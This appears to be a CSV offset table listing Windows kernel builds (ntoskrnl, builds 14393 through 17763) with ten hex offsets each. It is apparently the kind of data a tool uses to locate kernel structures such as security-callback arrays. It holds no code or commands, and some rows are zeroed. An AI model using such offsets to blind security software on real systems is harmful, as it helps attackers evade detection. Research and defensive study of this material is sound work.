ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-4770.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-4825.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-4771.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-4827.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
|
||||
ntoskrnl_14393-4889.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4946.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-5006.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-4886.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-5066.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-5125.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-5192.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
|
||||
ntoskrnl_14393-5246.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8
|
||||
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8
|
||||
ntoskrnl_14393-693.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8
|
||||
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8
|
||||
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8
|
||||
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8
|
||||
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50,3e7f98,3e7fb0,c8
|
||||
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8
|
||||
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50,3e2f98,3e2fb8,c8
|
||||
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8
|
||||
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8
|
||||
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8
|
||||
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8
|
||||
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50,3e7f98,3e7fb0,c8
|
||||
ntoskrnl_15063-2500.exe,3853d0,3851d0,384fd0,6ca,344e48,20,50,3e3f98,3e3fb8,c8
|
||||
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50,3e1f98,3e1fb0,c8
|
||||
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8
|
||||
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8
|
||||
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50,3e7f98,3e7fb0,c8
|
||||
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50,3f90d0,3f90f0,c8
|
||||
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50,3f90d0,3f90f0,c8
|
||||
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50,3fd0d0,3fd0f0,c8
|
||||
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50,3f90d0,3f90f0,c8
|
||||
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8
|
||||
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50,3fe0d0,3fe0f0,c8
|
||||
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50,3fe0d0,3fe0f0,c8
|
||||
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8
|
||||
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8
|
||||
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8
|
||||
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8
|
||||
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8
|
||||
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50,3fd0d0,3fd0f0,c8
|
||||
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50,3fd0d0,3fd0f0,c8
|
||||
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50,3fb0d0,3fb0f8,c8
|
||||
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
|
||||
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
|
||||
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
|
||||
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
|
||||
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50,3f90d0,3f90f0,c8
|
||||
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50,3f90d0,3f90f0,c8
|
||||
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
|
||||
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50,45e250,45e270,c8
|
||||
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
|
||||
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
|
||||
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
|
||||
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-1667.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
|
||||
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50,45c250,45c278,c8
|
||||
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8
|
||||
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50,45e250,45e270,c8
|
||||
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-765.exe,0,0,0,0,0,0,0,0,0,0
|
||||
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
|
||||
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8
|
||||
ntoskrnl_17134-950.exe,0,0,0,0,0,0,0,0,0,0
|
||||
ntoskrnl_17763-1007.exe,0,0,0,0,0,0,0,0,0,0
|
||||
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8
|
||||
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17763-1.exe,0,0,0,0,0,0,0,0,0,0
|
||||
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50,44d250,44d278,c8
|
||||
ntoskrnl_17763-1039.exe,0,0,0,0,0,0,0,0,0,0
|
||||
ntoskrnl_17763-107.exe,0,0,0,0,0,0,0,0,0,0
|
||||
ntoskrnl_17763-1075.exe,4d9d30,4d9930,4d9b30,6ca,40a650,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50,4c52d0,4c52f8,c8
|
||||
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8
|
||||
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8
|
||||
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50,5442d0,5442f8,c8
|
||||
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2213.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8
|
||||
